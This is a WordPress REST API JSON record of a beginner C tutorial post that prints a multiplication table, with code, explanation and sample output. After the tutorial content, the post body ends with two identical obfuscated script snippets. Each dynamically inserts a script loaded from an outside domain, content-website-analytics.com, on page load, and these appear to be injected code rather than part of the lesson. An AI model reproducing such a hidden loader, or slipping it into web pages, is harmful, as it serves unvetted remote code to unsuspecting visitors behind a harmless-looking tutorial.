{"id":640,"date":"2024-10-10T10:52:00","date_gmt":"2024-10-10T05:22:00","guid":{"rendered":"https:\/\/codexplained.in\/?p=640"},"modified":"2025-11-24T16:02:47","modified_gmt":"2025-11-24T10:32:47","slug":"to-print-multiplication-table","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=640","title":{"rendered":"To print Multiplication Table"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int num, i;\n\n    \/\/ Input the number from the user\n    printf(&quot;Enter a number: &quot;);\n    scanf(&quot;%d&quot;, &amp;num);\n\n    \/\/ Print the multiplication table\n    printf(&quot;Multiplication Table of %d:\\n&quot;, num);\n    for (i = 1; i &lt;= 10; i++) {\n        printf(&quot;%d x %d = %d\\n&quot;, num, i, num * i);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation:<\/h2>\n\n\n\n<p><strong>User Input<\/strong>: The program asks the user to input a number. <\/p>\n\n\n\n<p><strong>Multiplication Loop<\/strong>: It uses a <code>for<\/code> loop to print the multiplication table from 1 to 10. For each iteration, it multiplies the entered number by the current loop index (<code>i<\/code>).<\/p>\n\n\n\n<p><strong>Output<\/strong>: The result of each multiplication is printed in the format: <code>num x i = result<\/code>.<\/p>\n\n\n\n<p><strong>End<\/strong>: The program completes after printing the full table.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Output:<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Enter a number: 12\nMultiplication Table of 12:\n12 x 1 = 12\n12 x 2 = 24\n12 x 3 = 36\n12 x 4 = 48\n12 x 5 = 60\n12 x 6 = 72\n12 x 7 = 84\n12 x 8 = 96\n12 x 9 = 108\n12 x 10 = 120<\/code><\/pre>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: User Input: The program asks the user to input a number. Multiplication Loop: It uses a for loop to print the multiplication table from 1 to 10. For each iteration, it multiplies the entered number by the current loop index (i). Output: The result of each multiplication is printed in the format: num x [&hellip;]<\/p>\n","protected":false},"author":38,"featured_media":641,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-640","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/640","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=640"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/640\/revisions"}],"predecessor-version":[{"id":1481,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/640\/revisions\/1481"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/641"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=640"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=640"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=640"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}